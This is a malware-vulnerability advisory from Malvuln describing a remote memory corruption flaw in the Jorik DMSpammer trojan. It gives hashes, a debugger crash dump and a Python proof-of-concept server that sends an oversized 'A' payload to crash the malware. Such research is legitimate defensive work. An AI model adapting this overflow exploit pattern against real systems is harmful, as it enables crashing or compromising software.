Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/bdcaed5042eba30f91b093f0bcb3caf3.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: TROJAN.WIN32.JORIK.DMSPAMMER.SZ
Vulnerability: Remote Memory Corruption
Description: Memory corruption on server response when making HTTP POST request for PHP file named "stat1.php" on TCP Port 80.

Type: PE32
MD5: bdcaed5042eba30f91b093f0bcb3caf3
Vuln ID: MVID-2021-0008
Dropped files: svcnost.exe 
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 1/2/2021

Memory Dump: 
(1dc4.14dc): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=ffffefff edx=00000000 esi=00000003 edi=00000003
eip=773ced3c esp=0acbf444 ebp=0acbf5d4 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
ntdll!ZwWaitForMultipleObjects+0xc:
773ced3c c21400          ret     14h

0:003> .exr -1
ExceptionAddress: 03b2657b
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 0ada1000
Attempt to read from address 0ada1000

0:003> .ecxr
eax=e5cb4ea8 ebx=00000002 ecx=ffffefff edx=00000000 esi=0ada1000 edi=0adc2390
eip=03b2657b esp=0acbfd84 ebp=0acbfdc4 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
03b2657b f3a4            rep movs byte ptr es:[edi],byte ptr [esi]

0:003> dd 0adc0008 
0adc0008  41414141 41414141 41414141 41414141
0adc0018  41414141 41414141 41414141 41414141
0adc0028  41414141 41414141 41414141 41414141
0adc0038  41414141 41414141 41414141 41414141


Exploit/PoC:
import socket

port=80
payload="A"*4000

def doit():
    global payload
    s = socket.socket()
    try:
        host = ''              
        s.bind((host, port))            
        s.listen(5)                    

        print('TROJAN.WIN32.JORIK.DMSPAMMER.SZ / Remote Memory Corruption')
        print('MD5: bdcaed5042eba30f91b093f0bcb3caf3')
        print("By malvuln")

        while True:
            conn, addr = s.accept()
            conn.send(payload+'\r\n')
            conn.close()
    except Exception as e:
        pass

if __name__=="__main__":
    doit()


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